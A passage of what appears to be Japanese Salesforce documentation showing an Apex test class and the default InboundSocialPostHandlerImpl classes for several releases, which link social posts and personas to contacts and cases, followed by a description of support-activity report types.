SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost];

SocialPersona createdPersona = [SELECT Id, ParentId FROM SocialPersona];
Contact createdContact = [SELECT Id FROM Contact];
Case createdCase = [SELECT Id, ContactId FROM Case];

System.assertEquals(createdPost.PersonaId, createdPersona.Id, 'Post is not linked
to the Persona.');

System.assertEquals(createdPost.WhoId, createdPersona.ParentId, 'Post is not linked
to the Contact');

System.assertEquals(createdPost.ParentId, createdCase.Id, 'Post is not linked to
the Case.');

System.assertEquals(createdCase.ContactId, createdContact.Id, 'Contact is not
linked to the Case.');

}

static testMethod void matchSocialPostRecord() {
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.R6PostId = existingPost.R6PostId;
SocialPersona persona = getSocialPersona(sampleSocialData);

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

System.assertEquals(1, [SELECT Id FROM SocialPost].size(), 'There should be only
1 post');

}

static testMethod void matchSocialPersonaRecord() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;

SocialPost post = getSocialPost(sampleSocialData);
SocialPersona persona = getSocialPersona(sampleSocialData);
persona.ExternalId = existingPersona.ExternalId;

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();
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SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost];

SocialPersona createdPersona = [SELECT Id, ParentId FROM SocialPersona];
Contact createdContact = [SELECT Id FROM Contact];
Case createdCase = [SELECT Id, ContactId FROM Case];

System.assertEquals(createdPost.PersonaId, createdPersona.Id, 'Post is not linked
to the Persona.');

System.assertEquals(createdPost.WhoId, createdPersona.ParentId, 'Post is not linked
to the Contact');

System.assertEquals(createdPost.ParentId, createdCase.Id, 'Post is not linked to
the Case.');

System.assertEquals(createdCase.ContactId, createdContact.Id, 'Contact is not
linked to the Case.');

}

static testMethod void matchCaseRecord() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;
Case existingCase = new Case(ContactId = existingContact.Id, Subject = 'Test Case');

insert existingCase;
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
existingPost.ParentId = existingCase.Id;
existingPost.WhoId = existingContact.Id;
existingPost.PersonaId = existingPersona.Id;
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.responseContextExternalId = existingPost.ExternalPostId;

test.startTest();
handler.handleInboundSocialPost(post, existingPersona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost
WHERE R6PostId = :post.R6PostId];

System.assertEquals(existingPersona.Id, createdPost.PersonaId, 'Post is not linked
to the Persona.');

System.assertEquals(existingContact.Id, createdPost.WhoId, 'Post is not linked to
the Contact');

System.assertEquals(existingCase.Id, createdPost.ParentId, 'Post is not linked to
the Case.');

System.assertEquals(1, [SELECT Id FROM Case].size(), 'There should only be 1
Case.');

}

static testMethod void reopenClosedCase() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
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existingPersona.ParentId = existingContact.Id;
insert existingPersona;
Case existingCase = new Case(ContactId = existingContact.Id, Subject = 'Test Case',

Status = 'Closed');
insert existingCase;
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
existingPost.ParentId = existingCase.Id;
existingPost.WhoId = existingContact.Id;
existingPost.PersonaId = existingPersona.Id;
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.responseContextExternalId = existingPost.ExternalPostId;

test.startTest();
handler.handleInboundSocialPost(post, existingPersona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost
WHERE R6PostId = :post.R6PostId];

System.assertEquals(existingPersona.Id, createdPost.PersonaId, 'Post is not linked
to the Persona.');

System.assertEquals(existingContact.Id, createdPost.WhoId, 'Post is not linked to
the Contact');

System.assertEquals(existingCase.Id, createdPost.ParentId, 'Post is not linked to
the Case.');

System.assertEquals(1, [SELECT Id FROM Case].size(), 'There should only be 1
Case.');

System.assertEquals(false, [SELECT Id, IsClosed FROM Case WHERE Id =
:existingCase.Id].IsClosed, 'Case should be open.');

}

static SocialPost getSocialPost(Map<String, Object> socialData) {
SocialPost post = new SocialPost();
post.Name = String.valueOf(socialData.get('source'));
post.Content = String.valueOf(socialData.get('content'));
post.Posted = Date.valueOf(String.valueOf(socialData.get('postDate')));
post.PostUrl = String.valueOf(socialData.get('postUrl'));
post.Provider = String.valueOf(socialData.get('mediaProvider'));
post.MessageType = String.valueOf(socialData.get('messageType'));
post.ExternalPostId = String.valueOf(socialData.get('externalPostId'));
post.R6PostId = String.valueOf(socialData.get('r6PostId'));
return post;

}

static SocialPersona getSocialPersona(Map<String, Object> socialData) {
SocialPersona persona = new SocialPersona();
persona.Name = String.valueOf(socialData.get('author'));
persona.RealName = String.valueOf(socialData.get('realName'));
persona.Provider = String.valueOf(socialData.get('mediaProvider'));
persona.MediaProvider = String.valueOf(socialData.get('mediaProvider'));
persona.ExternalId = String.valueOf(socialData.get('externalUserId'));
return persona;

}
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static Map<String, Object> getSampleSocialData(String suffix) {
Map<String, Object> socialData = new Map<String, Object>();
socialData.put('r6PostId', 'R6PostId' + suffix);
socialData.put('r6SourceId', 'R6SourceId' + suffix);
socialData.put('postTags', null);
socialData.put('externalPostId', 'ExternalPostId' + suffix);
socialData.put('content', 'Content' + suffix);
socialData.put('postDate', '2015-01-12T12:12:12Z');
socialData.put('mediaType', 'Twitter');
socialData.put('author', 'Author');
socialData.put('skipCreateCase', false);
socialData.put('mediaProvider', 'TWITTER');
socialData.put('externalUserId', 'ExternalUserId');
socialData.put('postUrl', 'PostUrl' + suffix);
socialData.put('messageType', 'Tweet');
socialData.put('source', 'Source' + suffix);
socialData.put('replyToExternalPostId', null);
socialData.put('realName', 'Real Name');
return socialData;

}
}

Spring '15 および Summer '15 のデフォルトの Apex クラス
global virtual class InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler
{

final static Integer CONTENT_MAX_LENGTH = 32000;

// Reopen case if it has not been closed for more than this number
global virtual Integer getMaxNumberOfDaysClosedToReopenCase() {

return 5;
}

global virtual String getDefaultAccountId() {
return null;

}

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);
matchPost(post);
matchPersona(persona);

if ((post.Content != null) && (post.Content.length() > CONTENT_MAX_LENGTH)) {
post.Content = post.Content.abbreviate(CONTENT_MAX_LENGTH);

}

if (post.Id != null) {
handleExistingPost(post, persona);
return result;
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}

setReplyTo(post, persona);
buildPersona(persona);
Case parentCase = buildParentCase(post, persona, rawData);
setRelationshipsOnPost(post, persona, parentCase);

upsert post;

return result;
}

private void handleExistingPost(SocialPost post, SocialPersona persona) {
update post;
if (persona.id != null)

updatePersona(persona);
}

private void setReplyTo(SocialPost post, SocialPersona persona) {
SocialPost replyTo = findReplyTo(post, persona);
if(replyTo.id != null) {

post.replyToId = replyTo.id;
post.replyTo = replyTo;

}
}

private SocialPersona buildPersona(SocialPersona persona) {
if (persona.Id == null)

createPersona(persona);
else

updatePersona(persona);
return persona;

}

private void updatePersona(SocialPersona persona) {
try {
update persona;
}catch(Exception e) {
System.debug('Error updating social persona: ' + e.getMessage());
}
}

private Case buildParentCase(SocialPost post, SocialPersona persona,
Map<String, Object> rawData){

Case parentCase = findParentCase(post, persona);
if (caseShouldBeReopened(parentCase))

reopenCase(parentCase);
else if(! hasSkipCreateCaseIndicator(rawData) && (parentCase.id == null ||

parentCase.isClosed))
parentCase = createCase(post, persona);

return parentCase;
}
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private boolean caseShouldBeReopened(Case c){
return c.id != null && c.isClosed && System.now() <

c.closedDate.addDays(getMaxNumberOfDaysClosedToReopenCase());
}

private void setRelationshipsOnPost(SocialPost postToUpdate, SocialPersona persona,
Case parentCase) {

if (persona.Id != null)
postToUpdate.PersonaId = persona.Id;

if(parentCase.id != null)
postToUpdate.ParentId = parentCase.Id;

}

private Case createCase(SocialPost post, SocialPersona persona) {
Case newCase = new Case(subject = post.Name);
if (persona != null && persona.ParentId != null) {

if (persona.ParentId.getSObjectType() == Contact.sObjectType)
newCase.ContactId = persona.ParentId;

}
if (post != null && post.Provider != null) {

newCase.Origin = post.Provider;
}
insert newCase;
return newCase;

}

private Case findParentCase(SocialPost post, SocialPersona persona) {
Case parentCase = new Case();
if (post.ReplyTo != null && (post.ReplyTo.IsOutbound || post.ReplyTo.PersonaId ==

persona.Id))
parentCase = findParentCaseFromPostReply(post);

else if((post.messageType == 'Direct' || post.messageType == 'Private') &&
String.isNotBlank(post.Recipient))

parentCase = findParentCaseFromRecipient(post, persona);
return parentCase;

}

private Case findParentCaseFromPostReply(SocialPost post){
List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE Id =

:post.ReplyTo.ParentId LIMIT 1];
if(!cases.isEmpty())

return cases[0];
return new Case();

}

private Case findParentCaseFromRecipient(SocialPost post, SocialPersona persona){
List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE id =

:findReplyToBasedOnRecipientsLastPostToSender(post, persona).parentId LIMIT 1];
if(!cases.isEmpty())

return cases[0];
return new Case();

}

private void reopenCase(Case parentCase) {
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SObject[] status = [SELECT MasterLabel FROM CaseStatus WHERE IsClosed = false AND
IsDefault = true];

parentCase.Status = ((CaseStatus)status[0]).MasterLabel;
update parentCase;

}

private void matchPost(SocialPost post) {
if (post.Id != null) return;

performR6PostIdCheck(post);

if (post.Id == null){
performExternalPostIdCheck(post);
}
}

private void performR6PostIdCheck(SocialPost post){
if(post.R6PostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE R6PostId = :post.R6PostId

LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private void performExternalPostIdCheck(SocialPost post) {
if (post.provider == 'Facebook' && post.messageType == 'Private') return;
if (post.provider == null || post.externalPostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE ExternalPostId =

:post.ExternalPostId AND Provider = :post.provider LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private SocialPost findReplyTo(SocialPost post, SocialPersona persona) {
if(post.replyToId != null && post.replyTo == null)

return findReplyToBasedOnReplyToId(post);
if(post.responseContextExternalId != null)

return findReplyToBasedOnExternalPostIdAndProvider(post,
post.responseContextExternalId);

return new SocialPost();
}

private SocialPost findReplyToBasedOnReplyToId(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE id = :post.replyToId LIMIT 1];
if(posts.isEmpty())

return new SocialPost();
return posts[0];

}
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private SocialPost findReplyToBasedOnExternalPostIdAndProvider(SocialPost post, String
externalPostId){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE Provider = :post.provider AND ExternalPostId = :externalPostId LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findReplyToBasedOnRecipientsLastPostToSender(SocialPost post,
SocialPersona persona){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE provider = :post.provider AND OutboundSocialAccount.ProviderUserId = :post.Recipient
AND ReplyTo.Persona.id = :persona.id ORDER BY CreatedDate DESC LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private void matchPersona(SocialPersona persona) {
if (persona != null) {

List<SocialPersona> personaList = new List<SocialPersona>();
if(persona.Provider != 'Other' && String.isNotBlank(persona.ExternalId)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
Provider = :persona.Provider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.ExternalId)
&& String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.Name) &&
String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
Name = :persona.Name LIMIT 1];

}

if (!personaList.isEmpty()) {
persona.Id = personaList[0].Id;
persona.ParentId = personaList[0].ParentId;

}
}

}

private void createPersona(SocialPersona persona) {
if (persona == null || String.isNotBlank(persona.Id) ||

!isThereEnoughInformationToCreatePersona(persona))
return;

SObject parent = createPersonaParent(persona);
persona.ParentId = parent.Id;
insert persona;
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}

private boolean isThereEnoughInformationToCreatePersona(SocialPersona persona) {
return String.isNotBlank(persona.Name) &&

String.isNotBlank(persona.Provider) &&
String.isNotBlank(persona.MediaProvider);

}

private boolean hasSkipCreateCaseIndicator(Map<String, Object> rawData) {
Object skipCreateCase = rawData.get('skipCreateCase');
return skipCreateCase != null &&

'true'.equalsIgnoreCase(String.valueOf(skipCreateCase));
}

global virtual SObject createPersonaParent(SocialPersona persona) {
String name = persona.Name.trim();
if (String.isNotBlank(persona.RealName))

name = persona.RealName.trim();

String firstName = '';
String lastName = name;
if (name.contains(' ')) {

firstName = name.substringBeforeLast(' ');
lastName = name.substringAfterLast(' ');

}

firstName = firstName.abbreviate(40);
lastName = lastName.abbreviate(80);

Contact contact = new Contact(LastName = lastName, FirstName = firstName);
String defaultAccountId = getDefaultAccountId();
if (defaultAccountId != null)

contact.AccountId = defaultAccountId;
insert contact;
return contact;

}

}

Summer '14 および Winter '14 のデフォルトの Apex クラス
global virtual class InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler
{

// Reopen case if it has not been closed for more than this number
global virtual Integer getMaxNumberOfDaysClosedToReopenCase() {

return 5;
}

global virtual String getDefaultAccountId() {
return null;

}
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global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);
matchPost(post);
matchPersona(persona);

if (post.Id != null) {
handleExistingPost(post, persona);
return result;

}

setReplyTo(post, persona, rawData);
buildPersona(persona);
Case parentCase = buildParentCase(post, persona, rawData);
setRelationshipsOnPost(post, persona, parentCase);
upsert post;

return result;
}

private void handleExistingPost(SocialPost post, SocialPersona persona) {
update post;
if (persona.id != null)

update persona;
}

private void setReplyTo(SocialPost post, SocialPersona persona, Map<String, Object>
rawData) {

SocialPost replyTo = findReplyTo(post, persona, rawData);
if(replyTo.id != null) {

post.replyToId = replyTo.id;
post.replyTo = replyTo;

}
}

private SocialPersona buildPersona(SocialPersona persona) {
if (persona.Id == null)

createPersona(persona);
else

update persona;
return persona;

}

private Case buildParentCase(SocialPost post, SocialPersona persona, Map<String, Object>
rawData){

Case parentCase = findParentCase(post, persona);
if (caseShouldBeReopened(parentCase))

reopenCase(parentCase);
else if(! hasSkipCreateCaseIndicator(rawData) && (parentCase.id == null ||

parentCase.isClosed))
parentCase = createCase(post, persona);

return parentCase;
}
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private boolean caseShouldBeReopened(Case c){
return c.id != null && c.isClosed && System.now() <

c.closedDate.addDays(getMaxNumberOfDaysClosedToReopenCase());
}

private void setRelationshipsOnPost(SocialPost postToUpdate, SocialPersona persona,
Case parentCase) {

if (persona.Id != null)
postToUpdate.PersonaId = persona.Id;

if(parentCase.id != null)
postToUpdate.ParentId = parentCase.Id;

}

private Case createCase(SocialPost post, SocialPersona persona) {
Case newCase = new Case(subject = post.Name);
if (persona != null && persona.ParentId != null) {

if (persona.ParentId.getSObjectType() == Contact.sObjectType)
newCase.ContactId = persona.ParentId;

}
insert newCase;
return newCase;

}

private Case findParentCase(SocialPost post, SocialPersona persona) {
Case parentCase = new Case();
if (post.ReplyTo != null && (post.ReplyTo.IsOutbound || post.ReplyTo.PersonaId ==

persona.Id))
parentCase = findParentCaseFromPostReply(post);

else if((post.messageType == 'Direct' || post.messageType == 'Private') &&
post.Recipient != null && String.isNotBlank(post.Recipient))

parentCase = findParentCaseFromRecipient(post, persona);
return parentCase;

}

private Case findParentCaseFromPostReply(SocialPost post){
List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE Id =

:post.ReplyTo.ParentId LIMIT 1];
if(!cases.isEmpty())

return cases[0];
return new Case();

}

private Case findParentCaseFromRecipient(SocialPost post, SocialPersona persona){
List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE id =

:findReplyToBasedOnRecipientsLastPostToSender(post, persona).parentId LIMIT 1];
if(!cases.isEmpty())

return cases[0];
return new Case();

}

private void reopenCase(Case parentCase) {
SObject[] status = [SELECT MasterLabel FROM CaseStatus WHERE IsClosed = false AND

IsDefault = true];
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parentCase.Status = ((CaseStatus)status[0]).MasterLabel;
update parentCase;

}

private void matchPost(SocialPost post) {
if (post.Id != null || post.R6PostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE R6PostId =

:post.R6PostId LIMIT 1];
if (!postList.isEmpty())

post.Id = postList[0].Id;
}

private SocialPost findReplyTo(SocialPost post, SocialPersona persona, Map<String,
Object> rawData) {

if(post.replyToId != null && post.replyTo == null)
return findReplyToBasedOnReplyToId(post);

if(rawData.get('replyToExternalPostId') != null &&
String.isNotBlank(String.valueOf(rawData.get('replyToExternalPostId'))))

return findReplyToBasedOnExternalPostIdAndProvider(post,
String.valueOf(rawData.get('replyToExternalPostId')));

return new SocialPost();
}

private SocialPost findReplyToBasedOnReplyToId(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE id = :post.replyToId LIMIT 1];
if(posts.isEmpty())

return new SocialPost();
return posts[0];

}

private SocialPost findReplyToBasedOnExternalPostIdAndProvider(SocialPost post, String
externalPostId){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE Provider = :post.provider AND ExternalPostId = :externalPostId LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findReplyToBasedOnRecipientsLastPostToSender(SocialPost post,
SocialPersona persona){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE provider = :post.provider AND OutboundSocialAccount.ProviderUserId = :post.Recipient
AND ReplyTo.Persona.id = :persona.id ORDER BY CreatedDate DESC LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private void matchPersona(SocialPersona persona) {
if (persona != null && persona.ExternalId != null &&

String.isNotBlank(persona.ExternalId)) {
List<SocialPersona> personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
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Provider = :persona.Provider AND
ExternalId = :persona.ExternalId LIMIT 1];

if ( !personaList.isEmpty()) {
persona.Id = personaList[0].Id;
persona.ParentId = personaList[0].ParentId;

}
}

}

private void createPersona(SocialPersona persona) {
if (persona == null || (persona.Id != null && String.isNotBlank(persona.Id)) ||

!isThereEnoughInformationToCreatePersona(persona))
return;

SObject parent = createPersonaParent(persona);
persona.ParentId = parent.Id;
insert persona;

}

private boolean isThereEnoughInformationToCreatePersona(SocialPersona persona){
return persona.ExternalId != null && String.isNotBlank(persona.ExternalId) &&

persona.Name != null && String.isNotBlank(persona.Name) &&
persona.Provider != null && String.isNotBlank(persona.Provider) &&
persona.provider != 'Other';

}

private boolean hasSkipCreateCaseIndicator(Map<String, Object> rawData) {
Object skipCreateCase = rawData.get('skipCreateCase');
return skipCreateCase != null &&

'true'.equalsIgnoreCase(String.valueOf(skipCreateCase));
}

global virtual SObject createPersonaParent(SocialPersona persona) {
String name = persona.Name;
if (persona.RealName != null && String.isNotBlank(persona.RealName))

name = persona.RealName;

String firstName = '';
String lastName = 'unknown';
if (name != null && String.isNotBlank(name)) {

firstName = name.substringBeforeLast(' ');
lastName = name.substringAfterLast(' ');
if (lastName == null || String.isBlank(lastName))

lastName = firstName;
}

Contact contact = new Contact(LastName = lastName, FirstName = firstName);
String defaultAccountId = getDefaultAccountId();
if (defaultAccountId != null)

contact.AccountId = defaultAccountId;
insert contact;
return contact;
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}
}

Winter '13 および Spring '14 のデフォルトの Apex クラス
global virtual class InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler
{

// Reopen case if it has not been closed for more than this number
global virtual Integer getMaxNumberOfDaysClosedToReopenCase() {

return 5;
}

global virtual Boolean usePersonAccount() {
return false;

}

global virtual String getDefaultAccountId() {
return null;

}

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);
matchPost(post);
matchPersona(persona);

if (post.Id != null) {
update post;
if (persona.id != null) {

update persona;
}
return result;

}

findReplyTo(post, rawData);

Case parentCase = null;
if (persona.Id == null) {

createPersona(persona);
post.PersonaId = persona.Id;

}
else {

update persona;
post.PersonaId = persona.Id;
parentCase = findParentCase(post, persona, rawData);

}

if (parentCase == null) {
parentCase = createCase(post, persona);

}
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post.ParentId = parentCase.Id;

insert post;

return result;
}

private Case createCase(SocialPost post, SocialPersona persona) {
Case newCase = new Case(

subject = post.Name
);
if (persona != null && persona.ParentId != null) {

if (persona.ParentId.getSObjectType() == Contact.sObjectType) {
newCase.ContactId = persona.ParentId;

}
else if (persona.ParentId.getSObjectType() == Account.sObjectType) {

newCase.AccountId = persona.ParentId;
}

}
insert newCase;
return newCase;

}

private Case findParentCase(SocialPost post, SocialPersona persona, Map<String, Object>
rawData) {

SocialPost replyToPost = null;
if (post.ReplyTo != null && (post.ReplyTo.IsOutbound || post.ReplyTo.PersonaId ==

persona.Id)) {
replyToPost = post.ReplyTo;

}
else if (post.MessageType == 'Direct' && String.isNotBlank(post.Recipient)) {

// find the latest outbound post that the DM is responding to
List<SocialPost> posts = [SELECT Id, ParentId FROM SocialPost WHERE

OutboundSocialAccount.ProviderUserId = :post.Recipient AND ReplyTo.Persona.Id = :persona.Id
ORDER BY CreatedDate DESC LIMIT 1];

if (!posts.isEmpty()) {
replyToPost = posts[0];

}
}

if (replyToPost != null) {
List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE

Id = :replyToPost.ParentId];
if (!cases.isEmpty()) {

if (!cases[0].IsClosed) return cases[0];
if (cases[0].ClosedDate >

System.now().addDays(-getMaxNumberOfDaysClosedToReopenCase())) {
reopenCase(cases[0]);
return cases[0];

}
}

}

return null;
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}

private void reopenCase(Case parentCase) {
SObject[] status = [SELECT MasterLabel FROM CaseStatus WHERE IsClosed = false AND

IsDefault = true];
parentCase.Status = ((CaseStatus)status[0]).MasterLabel;
update parentCase;

}

private void matchPost(SocialPost post) {
if (post.Id != null || post.R6PostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE R6PostId =

:post.R6PostId LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private void findReplyTo(SocialPost post, Map<String, Object> rawData) {
String replyToId = (String)rawData.get('replyToExternalPostId');
if (String.isBlank(replyToId)) return;
List<SocialPost> postList = [SELECT Id, ParentId, IsOutbound, PersonaId FROM

SocialPost WHERE ExternalPostId = :replyToId LIMIT 1];
if (!postList.isEmpty()) {

post.ReplyToId = postList[0].id;
post.ReplyTo = postList[0];

}
}

private void matchPersona(SocialPersona persona) {
if (persona != null && String.isNotBlank(persona.ExternalId)) {

List<SocialPersona> personaList = [SELECT Id, ParentId FROM SocialPersona WHERE

((Provider != 'Other' AND Provider = :persona.Provider) OR
(Provider = 'Other' AND MediaProvider != null AND MediaProvider =

:persona.MediaProvider)) AND
((ExternalId != null AND ExternalId = :persona.ExternalId) OR
(ExternalId = null AND Name = :persona.Name)) LIMIT 1];

if ( !personaList.isEmpty()) {
persona.Id = personaList[0].Id;
persona.ParentId = personaList[0].ParentId;

}
}

}

private void createPersona(SocialPersona persona) {
if (persona == null || persona.Id != null || String.isBlank(persona.ExternalId)

|| String.isBlank(persona.Name) ||
String.isBlank(persona.Provider)) return;

if (isPersonaAccountEnabled()){
Account account = createPersonAccount(persona);
persona.ParentId = account.Id;

}
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else {
Contact contact = createContact(persona);
persona.ParentId = contact.Id;

}
insert persona;

}

private Boolean isPersonaAccountEnabled() {
if (!usePersonAccount()) return false;
Map<String, Object> accountFields = Schema.SObjectType.Account.fields.getMap();
return accountFields.containsKey('IsPersonAccount');

}

private Account createPersonAccount(SocialPersona persona) {
Account account = new Account(

Name = persona.Name
);
insert account;
return account;

}

private Contact createContact(SocialPersona persona) {
String name = persona.RealName;
if (String.isBlank(name)) {

name = persona.Name;
}

String firstName = '';
String lastName = 'unknown';
if (!String.isBlank(name)) {

firstName = name.substringBeforeLast(' ');
lastName = name.substringAfterLast(' ');
if (String.isBlank(lastName)) {

lastName = firstName;
}

}

Contact contact = new Contact(
LastName = lastName,
FirstName = firstName

);
String defaultAccountId = getDefaultAccountId();
if (defaultAccountId != null) {

contact.AccountId = defaultAccountId;
}
insert contact;
return contact;

}
}
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サポート活動のレポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション
(Edition によって表示され
るレポートが決まります)

サポートレポートは、作成されたケースの数、ケースコメント、ケースメール、
ケース所有者、ケース取引先責任者の役割、ソリューションが関連するケース、
ケース状況または所有者が最後に変更されてからの時間、およびケースの履歴
を追跡します。
また、ソリューション履歴、ソリューションが記述された言語、翻訳ソリュー
ションの変更フラグの有無など、ソリューションのレポートも作成できます。
セルフサービスポータルを有効にしている場合は、セルフサービスポータルの
使用状況を追跡するレポートを実行できます。

カスタムレポートタイプを使用したサポート活動のレポート
ケースやソリューションにはさまざまなカスタムレポートタイプが用意さ
れ、チームによるケースやソリューションの処理を追跡できます。
効果的なサポートレポートのヒント
ケースやソリューションのデータに関するヒントやベストプラクティスに従えば、データから多くの有益
な情報を得ることができます。

カスタムレポートタイプを使用したサポート活動のレポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション
(Edition によって表示され
るレポートが決まります)

ケースやソリューションにはさまざまなカスタムレポートタイプが用意され、
チームによるケースやソリューションの処理を追跡できます。
組み込みのカスタムレポートタイプを使用して、作成されたケースの数、ケー
スコメント、ケースメール、ケース所有者、ケース取引先責任者の役割、ソ
リューションが関連するケース、ケース状況または所有者が最後に変更されて
からの時間、およびケース項目に関するレポートを作成します。
また、ソリューション履歴、ソリューションが記述された言語、翻訳ソリュー
ションの変更の有無など、組織のソリューションに関するレポートも作成でき
ます。
カスタムレポートタイプの中には、関連する機能を有効にしないと使用できな
いものがあります。たとえば、ケースの履歴トレンドレポートを有効にすると、
[履歴トレンドが関連するケース] カスタムレポートタイプが自動的に生成されます。
履歴トレンドが関連するケース

[履歴トレンドが関連するケース] カスタムレポートタイプは、時間の経過に伴うケースデータの変化を分
析します。履歴トレンドレポートが有効の場合に使用できます。

ケースとメール
[ケースとメール] レポートタイプは、送信および受信メールの両方をケース別に表示するカスタムレポー
トを作成します。このレポートタイプは、メール-to-ケースまたはオンデマンドメール-to-ケースが有効な
場合に使用できます。
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翻訳ソリューション
各マスタソリューションに関連する翻訳ソリューションを要約するには、翻訳ソリューションレポートを
選択します。

取引先責任者の役割
関連付けられている取引先責任者の役割が関連するすべてのケースを表示するには、取引先責任者の役割
レポートを選択します。

記事に関連するケース
ケースに添付された記事を参照するには、[記事に関連するケースレポート] を選択します。このレポート
は、Salesforce ナレッジが有効な場合に使用できます。
記事が内部アプリケーションチャネルで使用できるように設定されていない場合でも、レポートには記事
が表示されます。

ケースのライフサイクル
[ケースのライフサイクル] レポートを実行すると、[範囲] 項目の結果が表示されます。この項目は、ケー
スの状況または所有者が最後に変更されてから経過した時間を示します。状況または所有者が変更される
たびに、カウンタは 0 に戻ります。

エンタイトルメントを含むサービス契約
[エンタイトルメントを含むサービス契約] レポートタイプは、顧客に利用資格があるサービスをレポート
します。エンタイトルメントを含むサービス契約が有効な場合に使用できます。

取引先責任者を含むエンタイトルメントと取引先
取引先責任者 (指定された発信者) を含むエンタイトルメントと取引先を示します。エンタイトルメントを
含むサービス契約が有効な場合に使用できます。

契約品目名を含むサービス契約
契約品目名 (商品) を含むサービス契約を示します。契約品目名およびエンタイトルメントを含むサービス
契約が有効な場合に使用できます。

マイルストンが関連するケース
[マイルストン付きケース] レポートタイプを選択してカスタムレポートを作成し、マイルストン付きケー
スのリストを表示できます。このレポートタイプは、エンタイトルメントが有効な場合に使用できます。

メモ: リストビューおよびレポートのマイルストン状況は、関連するエンタイトルメントプロセスの
終了時刻に基づいています。ユーザのプロファイルに [エンタイトルメント処理終了時刻] ケース項目
へのアクセス権が含まれていない場合、そのユーザが表示するレポートやリストビューにはケースの
マイルストン状況が正しく表示されない可能性があります。その場合でも、ケースレコードおよび
[ケースマイルストン] 関連リストには正しいマイルストン状況値が表示されます。

ケース履歴/ソリューション履歴
[ケース履歴] や [ソリューション履歴] レポートタイプは、ケースやソリューションの項目履歴の追跡が設定
されている標準項目やカスタム項目の履歴を追跡します。元の値と新しい値を参照できます。[元の値]と
[新しい値] は、検索条件の項目では使用できません。

エンタイトルメントおよび契約
カスタムレポートタイプを使用して、エンタイトルメント、サービス契約、および契約品目名についてレ
ポートを実行し、作成できるレポート基準を定義します。エンタイトルメント管理が有効になると、Salesforce

